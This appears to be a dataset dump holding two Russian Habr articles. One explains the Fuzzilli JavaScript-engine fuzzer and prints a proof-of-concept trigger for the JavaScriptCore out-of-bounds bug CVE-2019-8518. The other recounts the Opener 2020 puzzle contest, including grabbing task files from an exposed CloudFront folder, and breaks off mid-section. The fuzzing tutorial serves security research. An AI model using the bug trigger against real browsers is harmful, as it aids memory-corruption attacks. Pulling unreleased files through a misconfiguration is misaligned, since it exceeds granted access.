text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Фаззинг JS-движков с помощью Fuzzilli
[`fuzzilli`](https://github.com/googleprojectzero/fuzzilli) – это фаззер для javascript-движков от команды `googleprojectzero`. Его отличительная черта – это `FuzzIL`, промежуточный язык, который можно мутировать и затем транслировать в `js`. Этот язык обеспечивает мутированному `js` семантическую валидность: даже после нескольких раундов изменений в коде остается логика, с которой движок будет работать.
Движки, которые можно фаззить
=============================
* [JavaScriptCore(webkit)](https://github.com/WebKit/webkit)
* [Jerryscript](https://github.com/jerryscript-project/jerryscript)
* [QJS](https://github.com/bellard/quickjs)
* [QTJS](http://git://code.qt.io/qt/qt5.git)
* [Spidermonkey(gecko)](https://github.com/mozilla/gecko-dev)
* [V8](https://github.com/v8/v8)
* [XS](https://github.com/Moddable-OpenSource/moddable)
* [duktape](https://github.com/svaarala/duktape)
В этом списке `V8`, `Spidermonkey`, `XS` и `duktape` уже поддерживают работу с `fuzzilli`. А остальные движки можно пропатчить и начать фаззинг, патчи включены в состав инструмента.
С помощью `fuzzilli` уже найдено много интересных [багов](https://github.com/googleprojectzero/fuzzilli#bug-showcase) типа `OOB`. Разберемся, как он устроен.
Содержание
----------
[1. FuzzIL](#FuzzIL)
[2. Реализация](#Impl)
[3. Мутаторы](#Mutators)
[3.1. Input mutator](#InputMutator)
[3.2. Operation Mutator](#OperationMutator)
[3.3. Combine Mutator](#CombineMutator)
[3.4. Splice Mutator](#SpliceMutator)
[4. Инструментация](#Instr)
[5. Исполнение скрипта](#REPRL)
[6. CVE-2019-8518](#CVE)
[7. Вывод](#Summary)
FuzzIL
======
FuzzIL – это промежуточное представление js, и самое интересное в нем – это мутаторы для FuzzIL. Как они генерируют валидный js-код?
Мутировать js-код можно на следующих уровнях:
* текст скрипта (изменение случайных байт)
* синтаксическое дерево AST (вырезать/вставлять случайное поддерево)
Первый способ не сильно отличается:
```
$ ./js_shell < /dev/urandom
```
Движок просто отбросит все предлагаемые варианты.
Способ с деревьями лучше: мутатор производит синтаксически правильный js-код. Например, вот такой:
```
if(y > 0){
...
/* type confusion */
...
}
let y = 0;
```
Но, несмотря на это, в логике ошибка все-таки есть: переменная `y` здесь используется до своего объявления. Это вызовет исключение, а возможный баг `type confusion` останется неотловленным.
FuzzIL создан для того, чтобы добавить третий уровень: мутирование промежуточного представления. Оно должно обеспечить не только синтаксическую валидность, но и семантическую. Мутаторы FuzzIL не генерируют один только валидный код, но очевидных ошибок не допускают.
Пример программы на FuzzIL:
```
1 v0 <− LoadInt ’ 0’
2 v1 <− LoadInt ’10’
3 v2 <− LoadInt ’ 1’
4 v3 <− Phi v0
5 BeginFor v0, ’<’, v1, ’+’, v2 −> v4
6 v6 <− BinaryOperation v3, ’+’, v4
7 Copy v3, v6
8 EndFor
9 v7 <− LoadString ’Result :’
10 v8 <− BinaryOperation v7, ’+’, v3
11 v9 <− LoadGlobal ’console’
12 v10 <− CallMethod v9, ’log’, [v8]
```
У FuzzIL нет синтаксиса, но представлять программу как-то надо, поэтому этот пример написан на некотором псевдокоде.
Транслятор у `FuzzIL` есть, и этот же пример на `js` будет выглядеть так:
```
1 const v0 = 0;
2 const v1 = 10;
3 const v2 = 1;
4 let v3 = v0;
5 for (let v4 = v0; v4 < v1; v4 = v4 + v2) {
6 const v6 = v3 + v4;
7 v3 = v6;
8 }
9 const v7 = ”Result: ”;
10 const v8 = v7 + v3;
11 const v9 = console;
12 const v10 = v9.log(v8);
```
Или:
```
1 let v3 = 0;
2 for (let v4 = 0; v4 < 10; v4++) {
3 v3 = v3 + v4;
4 }
5 console.log(”Result: ” + v3);
```
`fuzzilli` умеет транслировать и так и так.
Чтобы описать мутаторы, нужно немного поговорить о реализации FuzzIL.
Реализация
----------
`fuzzilli` и `FuzzIL` написаны на языке `Swift`.
Проиллюстрировать классы, которые реализуют программу на `FuzzIL`, поможет диаграмма:
Типом данных, отвечающим за итоговый js -скрипт, является [`class Program`](https://github.com/googleprojectzero/fuzzilli/blob/713089e34b62a49f11f11c925297e10dcc5db96c/Sources/Fuzzilli/FuzzIL/Program.swift#L26).
Программа – это набор операций вместе с их входными и выходными переменными.
Например, операция [`LoadInteger`](https://github.com/googleprojectzero/fuzzilli/blob/3fef2fbcbb8a3139d790fa4d40daa4f8d64a7a7e/Sources/Fuzzilli/FuzzIL/Operations.swift#L106):
```
class LoadInteger: Operation {
let value: Int64
init(value: Int64) {
self.value = value
super.init(numInputs: 0, numOutputs: 1, attributes: [.isPure, .isMutable])
}
}
/*
v0 <− LoadInt ’ 0’
*/
```
`LoadProperty`:
```
class LoadProperty: Operation {
let propertyName: String
init(propertyName: String) {
self.propertyName = propertyName
super.init(numInputs: 1, numOutputs: 1, attributes: [.isMutable])
}
}
/*
v1 <- LoadProperty v0, '__proto__'
*/
```
Посмотреть все операции можно в [Operations.swift](https://github.com/googleprojectzero/fuzzilli/blob/3fef2fbcbb8a3139d790fa4d40daa4f8d64a7a7e/Sources/Fuzzilli/FuzzIL/Operations.swift)
За создание программы отвечают [ProgramBuilder](https://github.com/googleprojectzero/fuzzilli/blob/3fef2fbcbb8a3139d790fa4d40daa4f8d64a7a7e/Sources/Fuzzilli/Core/ProgramBuilder.swift) и [CodeGenerators](https://github.com/googleprojectzero/fuzzilli/blob/3fef2fbcbb8a3139d790fa4d40daa4f8d64a7a7e/Sources/Fuzzilli/Core/CodeGenerators.swift). Каждый генератор производит свой специфический фрагмент `FuzzIL` кода. Например, `IntegerGenerator` создает инструкцию `LoadInteger` со случайным параметром, а `IfElseGenerator` – условный блок:
```
CodeGenerator("IntegerGenerator") { b in
b.loadInt(b.genInt())
}
/*...*/
CodeGenerator("IfElseGenerator", input: .boolean) { b, cond in
b.buildIfElse(cond, ifBody: {
b.generateRecursive()
}, elseBody: {
b.generateRecursive()
})
}
```
Таких генераторов десятки. Некоторые из них вызывают другие генераторы, как `IfElseGenerator`, чтобы код внутри блока получился интереснее.
Когда новая программа создана, она подвергается [анализу](https://github.com/googleprojectzero/fuzzilli/blob/3fef2fbcbb8a3139d790fa4d40daa4f8d64a7a7e/Sources/Fuzzilli/FuzzIL/Analyzer.swift) через:
* `VariableAnalyzer`
* `ScopeAnalyzer`
* `ContextAnalyzer`
* `DeadCodeAnalyzer`
Проверяются переменные, их типы и области видимости. Учитывается, что переменные внутри конструкций `for, while` не должны быть видны снаружи. А переменные, определенные снаружи, должны быть видны внутри, если используются:
```
let v2 = 10;
for(let v4 = v2; v4 < 100; v4++){...}
```
Проверяются блоки: если есть операция `BeginWhileLoop`, то должен быть и `EndWhileLoop`. И наоборот: если есть конец блока `EndWhileLoop`, то должно быть и начало `BeginWhileLoop`.
Типы: `Unknown, Integer, Float, String, Boolean, Object, Function`. Проверка типов не допустит, например, такой код:
```
let v0 = 1;
v0.slice(1); // Exception: TypeError: v0.slice is not a function
```
Не допускается `dead` код, чтобы предотвратить бессмысленное разрастание тест-кейсов.
После всех проверок код транслируется в текст. За трансляцию отвечает [class JavaScriptLifter](https://github.com/googleprojectzero/fuzzilli/blob/main/Sources/Fuzzilli/Lifting/JavaScriptLifter.swift). В этот класс заложены правила того, как представлять инструкции в текстовом виде.
```
switch instr.op {
case let op as LoadInteger:
/*...*/
case let op as LoadBigInt:
/*...*/
case let op as LoadProperty:
/*...*/
case let op as BeginForLoop:
/*...*/
/*...*/
}
```
Мутаторы
========
* input mutator
* operation mutator
* combine mutator
* splice mutator
### Input mutator
[Мутирует](https://github.com/googleprojectzero/fuzzilli/blob/main/Sources/Fuzzilli/Mutators/InputMutator.swift) входные аргументы-переменные.
```
1 // Before Mutation
2 . . .
3 v16 <− CallFunction v1, v6, v9, v3
4
5 // After Mutation
6 . . .
7 v16 <− CallFunction v1, v12, v9, v3
```
Учитывается область видимости; переменная `v12` из того же скоупа, что и все остальные.
Если невозможно найти замену, то кандидат вернется на свое место.
### Operation Mutator
Мутирует параметр операций, если он у них есть.
У объектов операций помимо входных и выходных переменных есть еще и параметры. Например, у `LoadInteger` это `value`, у `LoadProperty` – `propertyName`, а у `CallMethod` – `methodName`.
### Combine Mutator
```
1 // Program 1
2 v0 <− LoadString ’bar’
3 v1 <− CreateObject ’foo’, v0
4
5 // Program 2
6 v0 <− LoadInt ’ 1337 ’
7 v1 <− LoadGlobal ’console’
8 v2 <− CallMethod v1, ’log’, [v0]
9
10 // Combined program
11 v0 <− LoadInt ’ 1337 ’
12 v1 <− LoadString ’bar’
13 v2 <− CreateObject ’foo’, v1
14 v3 <− LoadGlobal ’console ’
15 v4 <− CallMethod v3, ’log’, [v0]
```
### Splice Mutator
Вставка куска кода из одного тест-кейса в другой. Учитывается, что все переменные в коде должны быть определены. Алгоритм такой:
* выбрать рандомную инструкцию
* найти все инструкции, чьи выходные значения используются для этой рандомной инструкции
* скопировать, вставить
Инструментация
--------------
Между фаззером и процессом движка создается `shm` область памяти, в которой хранится информация о покрытии.
Покрытие – это битмап, фаззеру интересен только факт посещения базового блока, а сколько раз поток прошел через этот блок уже неинтересно.
В каждом базовом блоке размещается [вызов sanitizer\_cov\_trace\_pc\_guard](https://github.com/googleprojectzero/fuzzilli/blob/main/Targets/coverage.c#L70):
```
struct shmem_data {
uint32_t num_edges;
unsigned char edges[];
};
struct shmem_data* __shmem;
/*...*/
extern "C" void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
uint32_t index = *guard;
if (!index) return;
__shmem->edges[index / 8] |= 1 << (index % 8);
*guard = 0;
}
```
Здесь `guard` – указатель на индекс блока, `__shmem->edges` – массив, с которым работают, как с битмапом.
Как уже упоминалось, часть движков поддерживает инструментацию `fuzzilli`. Чтобы инструментировать, например, `v8`, нужно указывать флаг `v8_fuzzilli=true` в процессе сборки `v8`. К счастью, сборка всех движков автоматизирована и помнить о флагах не нужно – в [составе](https://github.com/googleprojectzero/fuzzilli/tree/main/Targets) есть скрипты для этого. А если инструментация не поддерживается, то там же есть и патчи.
Исполнение скрипта
------------------
Для увеличения производительности фаззинга необходимо сокращать затраты на создание и запуск процесса, в котором будет исполняться исследуемый код. Для этого существует два механизма:
* форк-сервер, как в AFL: размещается в процессе таргета, получает очередную порцию мусора от мастера и делает форк, в котором идет обработка. В этом случае переиспользуется все, что до форк-сервера.
* REPRL(read-eval-print-reset-loop), как в libfuzzer: в бесконечном цикле исследуемый код ждет и получает данные, обрабатывает, потом сбрасывает состояние на начальное, и по-новой. Здесь переиспользуется все, что до цикла.
Преимущество форк-сервера в том, что его можно разместить где угодно ([пример из AFL](https://github.com/AFLplusplus/AFLplusplus/blob/stable/instrumentation/README.persistent_mode.md)). REPRL-цикл постоянно на одном месте: ([пример V8](https://github.com/v8/v8/blob/main/src/d8/d8.cc#L5656)).
Но производительность вроде бы за REPRL.
Авторы `fuzzilli` провели измерения для движка `JavaScriptCore` и оказалось, что REPRL опережает форк-сервер на 6 мс за одну итерацию. Тестом был скрипт, который просто ждет 1 секунду: результат REPRL – 1,001 c, а форк-сервер – 1,007 c. Тест кажется простым, но тем не менее был выбран REPRL.
Как и инструментация, реализация REPRL включена в состав конкретного движка, если он поддерживает работу с `fuzzilli`.
CVE-2019-8518
=============
Это `OOB`-[баг](https://bugs.chromium.org/p/project-zero/issues/detail?id=1775), найденный в `JavaScriptCore/webkit`:
```
const v3 = [1337,1337,1337,1337];
const v6 = [1337,1337];
function v7(v8) {
for (let v9 in v8) {
v8.a = 42;
const v10 = v8[-698666199];
}
}
while (true) {
const v14 = v7(v6);
const v15 = v7(1337);
}
```
IR-представление функции `v7` будет выглядеть примерно так (взято из отчета):
```
// Loop header
len = LoadArrayLength v8
// Do other loop header stuff
// Loop body
CheckStructure v8, expected_structure_id
StoreProperty v8, 'a', 42
CheckBounds -698666199, len // Bails out if index is OOB (always in this case...)
GetByVal v8, -698666199 // Loads the element from the backing storage without performing additional checks
// Jump back to beginning of loop
```
А вот как `JIT`-компилятор оптимизирует код:
* нода `CheckStructure` изначально проверяет тип массива в теле цикла, однако ее можно вынести, потому что тип массива один и тот же;
* `CheckBounds` – остается, потому что есть зависимость от длины массива;
* `GetByVal` – выносится, так как не зависит от переменных, определенных внутри цикла.
```
StructureCheck v8, expected_structure_id
GetByVal v8, -698666199
// Loop header
len = LoadArrayLength v8
// Do other loop header stuff
// Loop body
StoreProperty v8, 'a', 42
CheckBounds -698666199, len
// Jump back to beginning of loop
```
Поэтому можно читать и писать за пределы массива.
Эксплуатация багов в js-движках – это отдельный жанр. Баг выше было легко описать, поэтому он здесь. Другие находки `fuzzilli` тоже интересны, но они слишком заковыристые, и их не уместить в пару абзацев. Поэтому здесь они приведены списком.
**Баги Gecko/Spidermonkey, Chromium/v8**
### Gecko/Spidermonkey
* [CVE-2018-12386](https://ssd-disclosure.com/archives/3765/ssd-advisory-firefox-javascript-type-confusion-rce): IonMonkey register allocation bug leads to type confusions
* [CVE-2019-9791](https://bugs.chromium.org/p/project-zero/issues/detail?id=1791): IonMonkey's type inference is incorrect for constructors entered via OSR
* [CVE-2019-9792](https://bugs.chromium.org/p/project-zero/issues/detail?id=1794): IonMonkey leaks JS\_OPTIMIZED\_OUT magic value to script
* [CVE-2019-9816](https://bugs.chromium.org/p/project-zero/issues/detail?id=1808): unexpected ObjectGroup in ObjectGroupDispatch operation
* [CVE-2019-9813](https://bugs.chromium.org/p/project-zero/issues/detail?id=1810): IonMonkey compiled code fails to update inferred property types, leading to type confusions
* [CVE-2019-11707](https://bugs.chromium.org/p/project-zero/issues/detail?id=1820): IonMonkey incorrectly predicts return type of Array.prototype.pop, leading to type confusions
* [CVE-2020-15656](https://bugzilla.mozilla.org/show_bug.cgi?id=1647293): Type confusion for special arguments in IonMonkey
### Chromium/v8
* [Issue 939316](https://bugs.chromium.org/p/project-zero/issues/detail?id=1799): Turbofan may read a Map pointer out-of-bounds when optimizing Reflect.construct
* [Issue 944062](https://bugs.chromium.org/p/project-zero/issues/detail?id=1809): JSCallReducer::ReduceArrayIndexOfIncludes fails to insert Map checks
* [CVE-2019-5831](https://bugs.chromium.org/p/chromium/issues/detail?id=950328): Incorrect map processing in V8
* [Issue 944865](https://bugs.chromium.org/p/chromium/issues/detail?id=944865): Invalid value representation in V8
* [CVE-2019-5841](https://bugs.chromium.org/p/chromium/issues/detail?id=969588): Bug in inlining heuristic
* [CVE-2019-5847](https://bugs.chromium.org/p/chromium/issues/detail?id=972921): V8 sealed/frozen elements cause crash
* [CVE-2019-5853](https://bugs.chromium.org/p/chromium/issues/detail?id=976627): Memory corruption in regexp length check
* [Issue 992914](https://bugs.chromium.org/p/project-zero/issues/detail?id=1923): Map migration doesn't respect element kinds, leading to type confusion
* [CVE-2020-6512](https://bugs.chromium.org/p/chromium/issues/detail?id=1084820): Type Confusion in V8
* [CVE-2020-16006](https://bugs.chromium.org/p/chromium/issues/detail?id=1133527): Memory corruption due to improperly handled hash collision in DescriptorArray
* [CVE-2021-37991](https://bugs.chromium.org/p/chromium/issues/detail?id=1250660): Race condition during concurrent JIT compilation
Вывод
=====
`fuzzilli` – это фаззер для `js`-движков, который обеспечивает большее покрытие кода, потому что генерирует и синтаксически и семантически валидный код, то есть настоящие `js`-скрипты. В этой статье мы разобрали, как оно работает.
Еще больше деталей есть в трудах:
* [`FuzzIL: Coverage Guided Fuzzing for JavaScript Engines`](https://saelo.github.io/papers/thesis.pdf)
* [`The hunt for Chromium issue 1072171`](https://sensepost.com/blog/2020/the-hunt-for-chromium-issue-1072171/)
* [`Fuzzing JavaScript Engines with Fuzzilli`](https://blog.doyensec.com/2020/09/09/fuzzilli-jerryscript.html)
Если занимаетесь поиском багов в `js`, может пригодиться. | https://habr.com/ru/post/690742/ | null | ru | null |
# Opener 2020: Самый сок
Введение
--------
На протяжении всего апреля мы с командой после учёбы и работы решали увлекательные задачи в рамках конкурса Opener от компании Itransition. Вместе с конкурсом закончился наш лучший месяц на самоизоляции. Теперь, отдохнув, я готов спокойно поделиться этим опытом с вами.
Opener — это ежегодный открытый интеллектуальный конкурс для студентов, аспирантов и магистрантов Республики Беларусь (по крайней мере на призы претендовать могут только они), а участвовать — все, кто захочет. Данный конкурс проходит уже 8 лет. В этом году был добавлен командный зачёт со своими дополнительными задачами.
Призовой фонд конкурса составил 12 Apple Ipad Pro для личного и $4000 для командного зачётов. Наша команда, состоящая из Артура ([petuhovskiy](https://habr.com/ru/users/petuhovskiy/)), Вячеслава, Игоря ([lodthe](https://habr.com/ru/users/lodthe/)), Кирилла и меня выиграла 4 Ipad’a.
Мы добрались практически до самого конца конкурса, и я бы хотел показать вам, какие задачи показались нам самыми интересными. Надеюсь, что прочитав ход решения, посмотрев на командную работу в Google таблицах, увидев скриншоты, вы осознаете уровень проработки задач и не сможете не сказать: «Вау!»
В конце статьи вас ждёт задача — попробуйте её решить!
Основная часть
--------------
### Как всё начиналось
Стоит заметить, что я уже принимал участие в данном конкурсе в 2019 году. Узнал о нём я совершенно случайно и решил первых задач 10 на парах. Спустя год мне на почту пришло письмо-приглашение. Теперь я знал чего ожидать и меня это не заинтересовало, ведь конкурс — самый настоящий марафон на месяц. Я просто поделился письмом и ссылкой на регистрацию с подписчиками своего канала в Telegram.
Спустя несколько дней мой друг Слава пересылает в общий с Игорем чат данный пост и спрашивает: “Что по этому?”. Игорь интересуется про род задач, которые там будут, а я ему подробно отвечаю. Слово за слово, приходим к тому, что никто не против порешать чего-нибудь просто так, а зарегистрировавшись, мы точно ничего не потеряем.
Команды от трёх человек, максимум пять. Мы поставили в чат себе уведомление на день начала конкурса и успешно про всё забыли. В последний день регистрации хотелось укомплектовать команду полностью, но на примете никого не было. Игорь написал своим знакомым с предложением поучаствовать, не надеясь на положительный ответ, однако, именно так к команде присоединился Артур и Кирилл. Примечательно то, что последний участник зарегистрировался за минуту до окончания формирования команд.
Артур, Игорь, Кирилл и Слава учатся в Высшей Школе Экономики, в школьные годы увлекались спортивным программированием в Республике Беларусь.
### Организационные моменты
Официальная группа конкурса находится в ВК. Именно там, в обсуждениях, можно было попросить помощи от организаторов, если совсем был ступор. Подсказки были совершенно разными. Это и музыкальные отрывки, и четверостишия, и просто какие-то намёки, отсылки. Все конкретные и важные подсказки переносились в отдельную тему, а на стене мелькали полезные ссылки. Только погрузившись в общение с другими участниками и организаторами в этой группе, можно было получить максимальное количество полезной информации. Этим я и занимался, сидя с фейка и максимально прикалываясь. Я рофлил, добавляя креатива в сообщения, команда рофлила с моих сообщений и сама их иногда не понимала, организаторы награждали меня подсказками. Родились мемные фразы, которые мы употребляем до сих пор. Вот некоторые из них:
* «Опять таблетки забыли принять?»
* «Последовательность бык»
* «Где???»
* «Вы вопрос задайте»
* «Подумать, нет?»
### Telegram бот, координирование команды
В нашей команде уже давно все перешли исключительно на Telegram, следовательно, в первые же дни Артуром был написал бот, который дублирует все сообщения участников, а также подсказки из обновляемых организаторами сообщений в приватный канал.
Мало того, что это очень удобно (ведь мы получали уведомления и были в курсе всего), так ещё и получилась система логирования всех исправлений как участников, так и организаторов. Это помогало получить дополнительную информацию, так как организаторы затирали в вопросах участников слова, которые могли хоть как-то намекнуть куда копать. Подсказки вообще могли молча обновляться, а бот всегда держал нас в курсе.
Общение команды шло через чат. К тому времени я написал бота для интеграции Zoom в Telegram, он был на хайпе и мы им активно пользовались, но где-то в середине месяца они опять вернули своё ограничение на 40 минут конференции и мы перешли в Discord, так как любили засесть ночью на часика четыре.
Все записи, касающиеся задач, были представлены отдельными страницами в таблице Notion. Это было удобно: когда кто-то уходил спать, утром он смотрел, что другие решили ночью. Так же без этих заметок не получилось бы написать эту статью.
### Задачи
Как я уже упомянул во введении, задачи делятся на два типа: командные и личные. Одновременно можно было решать задачи обоих типов, но командные задачи были заблокированы для просмотра, пока не решены предыдущие из личного или командного зачётов. Удивительно то, что организаторы не запрещали, а даже открыто заявляли, что задачи личного зачёта можно решать вместе с командой (при её наличии, конечно же). Ими было введено ограничение, которое не позволяло забрать больше четырёх айпадов на одну команду. Мы посчитали, что решать всем вместе будет рациональнее. Так и поступили.
Конечно, выходило и так, что мы застревали на командных задачах, но продолжали решать их из личного зачёта. Чаще всего выходило, что они были более интерактивными и многоэтапными. Все задачи, описанные ниже, с выездом на локацию в Минске, как раз и являются командными. Олимпиадникам больше понравились личные задачи, тогда как я просто тащился от командных. На протяжении всего конкурса я ждал реквизит, про который говорилось в правилах конкурса, но эти задачи были заменены на примитивные из-за пандемии, которые решались за несколько минут. Поняли мы это благодаря открытой корневой папки CloudFront’a, получив все приложения задач ещё в самом начале конкурса. Так же это дало нам понимание о количестве задач, что предстоит решить. После конкурса я узнал, что никто не справился с абсолютно всеми задачами, а именно на последней и нужен был реквизит.
Ниже я описываю ход решения четырёх интересных задач, которые состоят только из изображений без дополнительного текстового сопровождения. А в конце статьи вас ждёт увлекательная и несложная задачка, на которую мы потратили около суток, несмотря на то, что Python является моим основным языком. При должных знаниях, решение придумывается сразу. По крайней мере понятно, что и как будет, но вот до конца довести сложнее.
#### Задача с 104 гифками
Исходными данными к задаче является архив, содержащий в себе 104 GIF файла с разными названиями. Название каждого файла имеет префикс — part\_. Название архива — **by8\_128x128px\_2layers**.zip. Сразу замечаем, что это никакие не гифки, а просто изображения. Перегоняем в другой формат:
Самое сложное в этой задаче это понять условие. Исходя из названия файла понимаем, что имеем делом с изображениями размера 128x128, которые имеют по 2 слоя, то есть картинка разбита на две непересекающиеся по чёрным пикселям, которые при объединении дают исходное изображение, как показано на иллюстрации:
Выходит, изображение разбито на 8 (by8 из имени файла) частей. Следовательно, картинка разбита на 4 квадрата одного размера (8 / 2). Доказывается это тем, что каждый файл из архива имеет размер 64x64. Так как дано 104 изображения, а каждый квадрат собирается из 8 изображений, всего есть 13 (104 / 8) квадратов 128х128. Объединяем слои с помощью [скрипта на Python с использованием PIL](https://paste.darkkeks.me/82a1f29b/).
Отказываемся от идеи пытаться склеить это автоматически и рейдим всей командой Google таблицу. Слава загружает все эти изображения, а мы их распределениям на 4 группы в зависимости от типа угла, которому соответствует картинка (это определяем по наличию рамки). Далее пытаемся объединить эти углы, чтобы получилось что-то читабельное.
> Подсказка: “Если вы дошли до слов, то нужно найти одинокие буквы по столбикам”
Из этой подсказки понимаем, что в каждом квадрате из каждого столбца надо выписать ту букву, которая повторяемся в этом столбце. Для каждого квадрата получается 5 символов, а так как квадратов 13, получаем 13 таких строк.
Пробуем поменять местами эти строки так,, чтобы получилась читабельная фраза:
Получаем: “самое малое положительное с количеством разных делителей более десяти млрд”, находим в интернете [замечательную табличку](http://wwwhomes.uni-bielefeld.de/achim/highly.txt):
Собираем число, вставляем в любимый Python и получаем ответ!
```
2**9 * 3**5 * 5**3 * 7**2 * 11**2 * 13**2 * 17**2 * 19**1 * 23**1 * 29**1 * 31**1 * 37**1 * 41**1 * 43**1 * 47**1 * 53**1 * 59**1 * 61**1 * 67 * 71 * 73 * 79 * 83 * 89 * 97 * 101
```
Ответ: 2054221614063184107682218077003539824552559296000
#### Задача с девочками
> Подсказка: “Цвета какие-то ненатуральные, явно отфотошопил девчонок кто-то”
Отличная подсказка, с неё мы и начали решать эту задачу, сами незаметив. Я начал со стеганографии, усердно пытаясь достать хоть что-то, но все попытки были тщетны. Была идея поиграться с ползунками в фотошопе, как-то выровнять баланс цветов, приблизить к натуральным, но нет. Заметили, конечно, и пятна из разных цветов. Выделили их более яркими — не помогло.
Спустя некоторое время получаем подсказку в качестве кода на Ruby:
```
def h(a);
a.reduce(Hash.new(0)) {|h,e|h[e]+=1;h};
end
```
Наш лучик надежды. Разбираемся в коде, понимаем, что это ничто иное, как функция, которая возвращает словарь с количеством вхождений чисел в массиве. Недолго думая, понимаем — в картинке считать нечего, кроме как пиксели, но продолжаем сидеть без малейшего понятия как это делать правильно.
> Подсказка: “А что это за такое? А такое есть у картинки? Три? А имя файла?”
Получив эти вопросы после кода выше, стараемся дать на них вразумительные ответы. Под тем, что это за такое, подразумеваем количественную характеристику. У картинки, как мы и думали, есть пиксели, а три — это три канала: red, green, blue. На имена файлов мы всегда обращали внимание, в данной задаче оно “λφz.png”, однако это нам абсолютно ничего не дало, кроме как трёх букв. Только потом мы осознали, что это отсылка к координатам… Когда ты в тупике — иди в Google. Слава так и поступил: начал вбивать поисковые запросы наподобие: “количественная характеристика” и как-то связывать это с изображением. Так он пришёл на сайт с генератором гистограммы по изображению. Загрузив наше исходное изображение он заметил интересную картину и поделился сразу с нами:
Это правда выглядит очень необычно. Вооружившись Python с PIL заводим три словаря под каждый канал, проходимся по каждому пикселю изображения, получая RGB и в каждый словарь инкрементим значение, ключ которого — наш канал. Например, для словаря red вы возьмём от RGB R за ключ, а в значение добавим +1. Прям как тот код, что дали нам на Ruby. Так проделаем с остальными двумя каналами и — “О чудо!, Вы только взгляните на это!”
Практически везде идеальная картина, количество цветов в каждом канале совпадает!
Весь полученный файл доступен [тут](https://paste.darkkeks.me/97820e56/). Меньше, чем в пяти местах, значения отличались, но мы посчитали, что, возможно, у авторов задачи не получилось сделать идеальное совпадение. Ведь то, что мы увидели, уже величие! Не останавливаясь, видим отсутствие цветов, ведь не все идут по порядку. А почему бы не выписать: какие есть, а каких нет? Так и делаем, [дописав к нашему прошлому коду](https://paste.darkkeks.me/cf74a3cf/) цикл! Для трёх каналов получаем три бинарные строки длиной в 255, где цвет отсутствует — 0, а где есть — 1:
Red
`0000111100000000000000000000000000001111000000001111000011110000111111111111111100001111000011111111000011110000111111110000000000001111111111110000000000001111000000000000000011111111000000001111000011111111000000001111000011110000000011110000111111110000`
Green
`0000111100000000000000000000000000000000111111111111000011111111111100000000111100001111000011110000111100001111000011110000111100000000000011111111111100001111000011111111000011110000000000001111111100000000000011111111000011110000000011110000000011111111`
Blue
`0000111100000000000000000000000000001111111100001111111100000000000011111111000000000000000000000000000000000000000011110000000000000000000011111111000000000000111100000000111100000000111111110000111111111111000011110000000011110000111111111111111100000000`
Выглядит страшно и непонятно, но вы ведь тоже видите, что везде количество единиц кратно 4? А ведь с нулями такая же картина — сжимаем!
Red
`0100000001001010111101011010110001110001000011001011001010010110`
Green
`0100000000111011100101010101010100011101011010001100011010010011`
Blue
`0100000001101100011000000000010000011000100100110111010010111100`
Вот… Уже и не так страшно, легко влезает в поле зрения. Нужно думать дальше, чем это может быть, но тут олимпиадное предположение играет нам на руку: “А что, если это double?”. И правда, а ведь что “если”? Пробуем перевести двоичные последовательности в тип double (делаем reinterpret\_cast в даблы), получаем следующие значения:
53.919325
27.58333
227.0005
Посещая уроки географии в школе, понимаем, что наше первое число: плюс-минус наша широта, а в целом, три числа как раз и обозначают координаты. Тут и должна была сыграть подсказка в имени файла, но мы уже пулей летим в Google карты:
Получилось! Координаты соответствуют углу офиса компании-организатора конкурса. Понимаем, что скорее всего придется туда приехать. Первый этап прошли.
Мы не торопимся на локацию, так как в тот момент участник другой команды активно написывал в обсуждение, что он на месте, спрашивает у охранников, которые ничего не знают, бродит, ходит и не понимает что надо найти. Спустя некоторое время мы активно начали подыгрывать ему в общении с организаторами и делать вид, что тоже пришли туда:
> — Жарко стоять уже :(
>
> — Только что прошел кашляющий человек( он был без маски
>
>
Ответ организаторов не заставил долго ждать:
> — Там видео секунд на 30, не больше
>
> — Никуда заходить не нужно, можно приехать/прийти одному и повтыкать. Там три координаты, три, Карл, не две (как и две первые, третья отсчитывается от некого выбранного «начала», а не от подошв кед). Не ходите, не спрашивайте, нужно рассмотреть со стороны.
>
>
Эти ответы перевернули всё. Проверяем высоту над уровнем моря, на которой находится офис, это где-то ~200. Предполагаем, что координата 227 плюс-минус может быть на крыше офиса. В это же время один из нас находился неподалёку — он и отправился на локацию. Достигнув угла здания, как на Google карте, поднимаем глаза. Анимированный логотип — это не то, что на аватарке в группе у компании. Вместо логотипа — тетрис:
Для уточнения, то ли это, что нам надо, задаём следующий вопрос: “Фигурки, падающие с небес, связаны с блоками, которые закрывают девочек?” Во-первых: получаем положительный ответ, а во-вторых: редактирование нашего вопроса со стороны организаторов на “о-ла-ла, падающие с тру-ла-ла, связаны с блоками, которые закрывают облади-облада?”.
Мы на правильном пути. Дело Google таблиц! Покадрово разбираем отснятый материал, восстанавливаем блоки, цвета, записываем порядок появления блоков на видео. За счёт равной задержки между появлением фигур узнаём о наличии других, внутри отсутствующей части логотипа.
Учитывая текущий пазл, понимаем, что это пентамино, т.е. все фигуры состоят из пяти отдельных квадратов (пикселей). Находим буквенное обозначение данных фигур, пытаемся, опираясь на цвета, заполнить клетки на исходном изображении с девочками — ничего не выходит. От организаторов приходят подсказки с количеством уникальных фигур в пентамино — решаем задачку, заполнив весь прямоугольник уникальными блоками:
В очередной раз пытаемся вписать буквы в клетки, уже сомневаемся в правильности данного подхода, пытаемся найти что-то ещё. По цветам очень сложно понять: что куда, поэтому, во-первых: улучшаем нашу палитру в таблице, получив фотографию лучшего качества; а во-вторых: начинаем выписывать множество подходящих букв под каждую клетку.
Я получаю 3 читабельных слова из 4, но считаю это за совпадение, ухожу делать перестановку букв по словарю, с учётом тех, в которых был уверен по цветам. Таким цветом являлся синий и обозначал букву “Т”. Засылаю огромную пачку различных комбинаций в чатик. Почитав их все вместе, забываем про эту идею. Спустя некоторое время я со Славой возвращаюсь к расстановке букв, имея справа на экране свой первый вариант. Присоединяется Артур, который чутка отсутствовал на задаче, разбирается в том, чем мы тут занимаемся. Спустя некоторое время Артур обращает внимание на мой прошлый вариант, где найденные три слова выделены зелёным цветом, а под последним написано слово “input”. Это то слово, что очень хотелось собрать, но не сходилось по одной букве. Артур просто читает строку полностью: “Input fifty pi int”.
Умножаем число Пи на 50 в целочисленном типе, отсылаем в систему… Получаем положительный вердикт: задача длинною в дней 5 решена!
#### Задача с ответами и вопросами
